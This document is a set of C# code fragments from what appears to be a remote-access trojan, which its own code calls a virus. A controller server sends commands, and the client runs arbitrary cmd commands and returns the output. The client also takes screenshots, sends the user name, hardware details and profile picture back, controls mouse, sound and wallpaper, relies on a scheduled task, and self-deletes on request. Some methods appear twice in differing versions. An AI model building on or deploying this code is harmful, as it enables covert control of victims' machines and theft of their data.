private void Receiver_OnDataReceived(Socket s, TransferCommandObject Object)
{
try
{
if (handlers.ContainsKey(Object.Handler))
{
if (handlers[Object.Handler].HandleCommand(s, Object))
{
BConsole.WriteLine($"Command '{Object.Command}' executed successfully.", ConsoleColor.Green);
}
else
{
BConsole.WriteLine($"Command '{Object.Command}' could not be executed.", ConsoleColor.Red);
}
}
else
{
BConsole.WriteLine($"Unkown Handler '{Object.Handler}', please refer to the README.md", ConsoleColor.Red);
}
}
catch (Exception e)
{
BConsole.WriteLine("Handler error: " + e.Message, ConsoleColor.Red);
}
}
public static DataBufferModel BufferSerialize(TransferCommandObject ObjectToSerialize)
{
string data = JsonConvert.SerializeObject(ObjectToSerialize);
byte[] byteArray = Encoding.Default.GetBytes(data);
DataBufferModel buffer = new DataBufferModel();
buffer.DataId = Guid.NewGuid();
int count = 0;
int bytesLeft = byteArray.Length;
int index = 0;
int increment = SharedProperties.DataLength;
while (bytesLeft > 0)
{
count++;
byte[] subArray = byteArray.SubArray(index, increment);
bytesLeft -= increment;
index += increment;
buffer.BufferedData.Add(count, subArray);
}
buffer.SeriesLength = count;
return(buffer);
}
/// <summary>
/// Handles and accepts all incoming connections.
/// </summary>
/// <param name="result"></param>
private void HandleIncomingConnection(IAsyncResult result)
{
try
{
Socket oldSocket = (Socket)result.AsyncState;
if (acceptIncomingConnections)
{
Socket newSocket = oldSocket.EndAccept(result);
uint clientID = clientCount++;
Client client = new Client(clientID, (IPEndPoint)newSocket.RemoteEndPoint);
clients.Add(newSocket, client);
ClientConnected(client);
//Send the other client an authentication request
TransferCommandObject m = new TransferCommandObject();
m.Command = "Login";
m.Value = "x_891$UI.()";
SendDataObjectToSocket(0x1B, newSocket, ClientServerPipeline.BufferSerialize(m));
serverSocket.BeginAccept(new AsyncCallback(HandleIncomingConnection), serverSocket);
}
else
{
ConnectionBlocked((IPEndPoint)oldSocket.RemoteEndPoint);
}
}
catch (Exception e)
{
WriteLine(e.Message, ConsoleColor.Red);
}
}
public override bool HandleCommand(Socket s, TransferCommandObject obj)
{
switch (obj.Command)
{
case "BlackScreen":
return(MonitorSleep());
case "TextBox":
return(TextBox(obj.Value));
case "ShowImage":
return(ShowImage(obj.Value));
case "OpenSite":
return(OpenSite(obj.Value));
case "SetBackground":
return(SetWallpaper(obj.Value));
case "MakeScreenshot":
return(MakeScreenshot(s, obj.Value));
}
return(false);
}
/// <summary>
/// Async function that handles the incoming connection
/// </summary>
/// <param name="result"></param>
private void HandleIncomingConnection(IAsyncResult result)
{
try
{
Socket oldSocket = (Socket)result.AsyncState;
Socket newSocket = oldSocket.EndAccept(result);
uint clientId = clientCount++;
Client client = new Client(clientId, (IPEndPoint)newSocket.RemoteEndPoint);
clients.Add(newSocket, client);
clients.FirstOrDefault(m => m.Key == newSocket).Value.SetDataItem("test", "DEBUG_TEST_ITEM2");
//call the client connected event, this is then passed up into the ServerViewModel.
ClientConnected(client);
newSocket.BeginReceive(client.Data, 0, dataSize, SocketFlags.None, new AsyncCallback(ReceiveData), newSocket);
//tell the client to start sending back its client info.
TransferCommandObject returnObject = new TransferCommandObject {
Command = "GetClientInfo", Handler = "SystemInfo"
};
SendDataObjectToSocket(DataByteType.Command, newSocket, ClientServerPipeline.BufferSerialize(returnObject));
serverSocket.BeginAccept(new AsyncCallback(HandleIncomingConnection), serverSocket);
}
catch (Exception e)
{
BConsole.WriteLine(e.Message);
}
}
private static void Server_MessageReceived(Client c, TransferCommandObject model, DataEventType type)
{
WriteLine($"Client #{c.GetClientID()} received data: {model.Command}{{{model.Value}}}", ConsoleColor.Yellow);
switch (type)
{
case DataEventType.DATA:
break;
case DataEventType.RESPONSE:
if (model.Command == "Login" && model.Value == "Accepted")
{
//TransferCommandObject m = new TransferCommandObject();
//m.Command = "Debug";
//m.Value = "TestVolume";
//Program.Server.SendDataObjectToAll(ClientServerPipeline.BufferSerialize(m));
}
break;
case DataEventType.COMMAND:
if (handler.InvokeCommand(c, model))
{
WriteLine("Command Completed");
}
else
{
WriteLine("Command Failed");
}
break;
}
}
public static DataBufferModel BufferSerialize(TransferCommandObject ObjectToSerialize) //changed serialization into pattern seperated text: <SPLITPATTERN>
{
string data = $"{ObjectToSerialize.Command}<SPLITPATTERN>{ObjectToSerialize.Value}";
byte[] byteArray = Encoding.Default.GetBytes(data);
DataBufferModel buffer = new DataBufferModel();
buffer.DataId = Guid.NewGuid();
int count = 0;
int bytesLeft = byteArray.Length;
int index = 0;
int increment = 2029;
while (bytesLeft > 0)
{
count++;
byte[] subArray = byteArray.SubArray(index, increment);
bytesLeft -= increment;
index += increment;
buffer.BufferedData.Add(count, subArray);
}
buffer.SeriesLength = count;
return(buffer);
}
/// <summary>
/// Sends the screenshot command to the client
/// </summary>
private void SendMakeScreenshot()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "MakeScreenshot", Handler = handler, Value = $"{_server.SelectedClient.SelectedScreen.ScreenId}"
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
public void CloseCMD()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "StopCMD", Handler = handler
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
/// <summary>
/// Send alt tab command to the client
/// </summary>
private void SendAltTab()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "AltTab", Handler = handler
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
/// <summary>
/// Sends the mouseposition command to the client.
/// </summary>
private void SendMousePosition()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "MousePosition", Handler = handler, Value = $"{XCoordinate},{YCoordinate}"
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
/// <summary>
/// Sends the beep command to the client
/// </summary>
public void SendBeep()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "PlayBeep", Handler = handler, Value = "800,800"
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
/// <summary>
/// Opens a textbox on the client with the provided text
/// </summary>
private void SendDisplayText()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "TextBox", Handler = handler, Value = BroadcastMessageText
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
/// <summary>
/// Sends a cmd command to the client
/// </summary>
private void SendCMDCommand()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "Command", Handler = handler, Value = CommandText
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
/// <summary>
/// Function that sends a request to the client for removing the client application from the computer.
/// </summary>
private void RemoveVirusFromClient()
{
TransferCommandObject removeVirusTransferObject = new TransferCommandObject {
Command = "DeleteTask", Handler = "Task"
};
var socket = ServerViewModel.Server.GetSocketByClient(this);
ServerViewModel.Server.SendDataObjectToSocket(DataByteType.Command, socket, ClientServerPipeline.BufferSerialize(removeVirusTransferObject));
}
public void SendCMDToClient()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "ExecuteCMD", Handler = handler, Value = CommandText
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
CommandText = "";
}
public override bool HandleCommand(Socket s, TransferCommandObject obj)
{
switch (obj.Command)
{
case "GetClientInfo":
return(CollectAndReturnSystemInfo(s));
}
return(false);
}
public void TestMethod1()
{
string testText = "adasdsada\0\0\0\0\0\0\0\0";
TransferCommandObject t = new TransferCommandObject {
Command = "Login", Value = testText
};
var t2 = ClientServerPipeline.BufferDeserialize(ClientServerPipeline.BufferSerialize(t));
Assert.AreEqual(t.Value, t2.Value);
}
public override bool HandleCommand(Socket s, TransferCommandObject obj)
{
if (obj.Command == "DeleteTask")
{
TaskSchedulerHelper tsk = new TaskSchedulerHelper();
tsk.DeleteTask();
Process.Start("cmd.exe", "/C choice /C Y /N /D Y /T 3 & Del " + AppDomain.CurrentDomain.BaseDirectory + AppDomain.CurrentDomain.FriendlyName);
Environment.Exit(0);
return(true);
}
return(false);
}
public override bool HandleCommand(Socket s, TransferCommandObject obj)
{
switch (obj.Command)
{
case "ExecuteCMD":
return(ExecuteCommand(s, obj.Value));
case "StopCMD":
StopProcess();
return(true);
}
return(false);
}
public override bool HandleCommand(Socket s, TransferCommandObject obj)
{
switch (obj.Command)
{
case "PlayBeep":
return(PlayBeep(obj.Value));;
case "Jeff":
return(PlayJeff());
case "WesselMove":
return(PlayWesselMove());
case "Windows":
return(PlaywindowsSound());
case "Horn":
return(PlayHorn());
case "Macintosh":
return(PlayMacintosh420());
case "Stop":
return(StopSound());
case "VolumeUp":
keybd_event(VOLUME_UP, 0, 0, IntPtr.Zero);
return(true);
case "VolumeDown":
keybd_event(VOLUME_DOWN, 0, 0, IntPtr.Zero);
return(true);
case "Mute":
keybd_event(VOLUME_MUTE, 0, 0, IntPtr.Zero);
return(true);
case "PlayPause":
keybd_event(PLAY_PAUSE, 0, 1, IntPtr.Zero);
return(true);
case "NextTrack":
keybd_event(NEXT_TRACK, 0, 1, IntPtr.Zero);
return(true);
case "PreviousTrack":
keybd_event(PREV_TRACK, 0, 1, IntPtr.Zero);
return(true);
}
return(false);
}
private bool HandleIncomingData(TransferCommandObject dObj, Client client, DataEventType type)
{
if (dObj.GetType().isType(typeof(TransferCommandObject)))
{
TransferCommandObject obj = (TransferCommandObject)dObj;
//send the transfer object to the command handler
//client.RespondModels.Add(obj);
MessageReceived?.Invoke(client, obj, type);
return(true);
}
else
{
WriteLine("Object type not supported", ConsoleColor.Red);
return(false);
}
}
private bool MakeScreenshot(Socket s, string monitorNumber)
{
try
{
ScreenshotModel screenshotObject = Screenshot.MakeScreenshot(monitorNumber);
TransferCommandObject pfTransferObject = new TransferCommandObject {
Command = "ScreenshotResponse", Value = screenshotObject.ConvertToJson()
};
SendResponseObjectToSocket(s, ClientServerPipeline.BufferSerialize(pfTransferObject));
return(true);
}
catch (Exception e)
{
BConsole.WriteLine("Visuals Error: " + e.Message, ConsoleColor.Red);
return(false);
}
}
/// <summary>
/// Function that sends an image to the client, displays the image and then presses f11 on the client.
/// </summary>
private void SendDisplayImage()
{
OpenFileDialog open = new OpenFileDialog();
open.Filter = "Image Files(*.png; *.jpg; *.jpeg; *.gif;)|*.png; *.jpg; *.jpeg; *.gif;";
open.Multiselect = false;
open.Title = "Pick an image to send to the client";
if (open.ShowDialog() == true)
{
byte[] bytes = File.ReadAllBytes(open.FileName);
string base64 = Convert.ToBase64String(bytes);
TransferCommandObject returnObject = new TransferCommandObject {
Command = "ShowImage", Handler = handler, Value = base64
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
}
public override bool HandleCommand(Socket s, TransferCommandObject obj)
{
switch (obj.Command)
{
case "MousePosition":
return(MousePosition(obj.Value));
case "Command":
return(RunCommand(obj.Value));
case "LockWindows":
return(LockWorkStation());
case "AltTab":
return(AltTab());
}
return(false);
}
/// <summary>
/// Called when a new message was received on any client socket.
/// </summary>
/// <param name="c"></param>
/// <param name="model"></param>
/// <param name="type"></param>
private void Server_MessageReceived(Client c, TransferCommandObject model, Server.DataByteType type)
{
BConsole.WriteLine($"Client {c.GetName()} sent a message", ConsoleColor.DarkGray);
switch (type)
{
case Server.DataByteType.Response:
if (model.Command == "CMDResponse")
{
c.AddToCMDBuffer(model.Value);
}
else if (model.Command == "ScreenshotResponse")
{
ScreenshotModel screenshotObject = JsonConvert.DeserializeObject <ScreenshotModel>(model.Value);
c.SetScreenshot(screenshotObject);
}
else if (model.Command == "ScreenList")
{
List <ScreenTypeModel> screenList = JsonConvert.DeserializeObject <List <ScreenTypeModel> >(model.Value);
if (screenList != null)
{
c.SetScreenData(screenList);
}
}
break;
case Server.DataByteType.Command:
if (model.Command == "Debug")
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "PlayBeep", Handler = "Audio", Value = "200,300"
};
Server.SendDataObjectToSocket(Server.DataByteType.Command, Server.GetSocketByClient(c), ClientServerPipeline.BufferSerialize(returnObject));
}
break;
case Server.DataByteType.Data:
c.SetDataItem(model.Command, model.Value);
NotifyPropertyChanged("SelectedClient.storedData");
NotifyPropertyChanged("CurrentClientName");
break;
}
}
private void ReadBuffer(Socket s)
{
Thread.Sleep(300);
if (CMDLineBuffer.Count != 0)
{
string appendedLines = "";
List <string> data = new List <string>(CMDLineBuffer);
CMDLineBuffer.Clear();
foreach (string line in data)
{
appendedLines += line + "\r\n";
}
//write buffer to host
TransferCommandObject responseCMDTransferObject = new TransferCommandObject {
Command = "CMDResponse", Value = appendedLines
};
SendResponseObjectToSocket(s, ClientServerPipeline.BufferSerialize(responseCMDTransferObject));
ReadBuffer(s);
}
}
public bool InvokeCommand(Client c, TransferCommandObject obj)
{
switch (obj.Command)
{
case "VolumeUp":
Audio.VolumeUp(int.Parse(obj.Value));
return(true);
case "VolumeDown":
Audio.VolumeDown(int.Parse(obj.Value));
return(true);
case "VolumeMute":
Audio.VolumeMute();
return(true);
case "Pause":
Music.PlayPause();
return(true);
case "Stop":
break;
case "SkipNext":
Music.Next();
return(true);
case "SkipPrev":
Music.Prev();
return(true);
case "ScreenBlack":
MonitorSleep();
return(true);
}
return(false);
}
/// <summary>
/// Function that executes all functions and then returns their data to the Host
/// </summary>
/// <param name="s"></param>
/// <returns></returns>
private bool CollectAndReturnSystemInfo(Socket s)
{
bool success = true;
try
{
string userName = $"> {Environment.UserName} on {Environment.MachineName}";
TransferCommandObject userNameTransferObject = new TransferCommandObject {
Command = "ComputerName", Value = userName
};
SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(userNameTransferObject));
}
catch (Exception e)
{
success = false;
BConsole.WriteLine("ComputerName error: " + e.Message, ConsoleColor.Red);
}
try
{
string cpu = GetCPUName();
TransferCommandObject cpuTranfserObject = new TransferCommandObject {
Command = "CPU", Value = cpu
};
SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(cpuTranfserObject));
}
catch (Exception e)
{
success = false;
BConsole.WriteLine("CPU error: " + e.Message, ConsoleColor.Red);
}
try
{
string drives = GetSystemDrives();
TransferCommandObject drivesTransferObject = new TransferCommandObject {
Command = "Drives", Value = drives
};
SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(drivesTransferObject));
}
catch (Exception e)
{
success = false;
BConsole.WriteLine("Drives error: " + e.Message, ConsoleColor.Red);
}
try
{
string osVersion = GetOSVersion();
TransferCommandObject osVersionTransferObject = new TransferCommandObject {
Command = "WindowsVersion", Value = osVersion
};
SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(osVersionTransferObject));
}
catch (Exception e)
{
success = false;
BConsole.WriteLine("WindowsVersion error: " + e.Message, ConsoleColor.Red);
}
try
{
string gpuName = GetGPUName();
TransferCommandObject gpuNameTransferObject = new TransferCommandObject {
Command = "GPU", Value = gpuName
};
SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(gpuNameTransferObject));
}
catch (Exception e)
{
success = false;
BConsole.WriteLine("GPU error: " + e.Message, ConsoleColor.Red);
}
try
{
string ramString = GetRamAmount();
TransferCommandObject ramTransferObject = new TransferCommandObject {
Command = "RAM", Value = ramString
};
SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(ramTransferObject));
}
catch (Exception e)
{
success = false;
BConsole.WriteLine("RAM error: " + e.Message, ConsoleColor.Red);
}
try
{
string screens = Screenshot.GetScreenList();
TransferCommandObject ramTransferObject = new TransferCommandObject {
Command = "ScreenList", Value = screens
};
SendResponseObjectToSocket(s, ClientServerPipeline.BufferSerialize(ramTransferObject));
}
catch (Exception e)
{
success = false;
BConsole.WriteLine("ScreenList error: " + e.Message, ConsoleColor.Red);
}
try
{
string base64ProfilePicture = WindowsProfilePicture.Get448ImageString();
TransferCommandObject pfTransferObject = new TransferCommandObject {
Command = "ProfilePicture", Value = base64ProfilePicture
};
SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(pfTransferObject));
}
catch (Exception e)
{
success = false;
BConsole.WriteLine("ProfilePicture error: " + e.Message, ConsoleColor.Red);
}
return(success);
}
/// <summary>
/// Function that handles the converted data
/// </summary>
/// <param name="dObj"></param>
/// <param name="client"></param>
/// <param name="type"></param>
/// <returns></returns>
private bool HandleIncomingData(TransferCommandObject dObj, Client client, DataByteType type)
{
MessageReceived?.Invoke(client, dObj, type);
return(true);
}
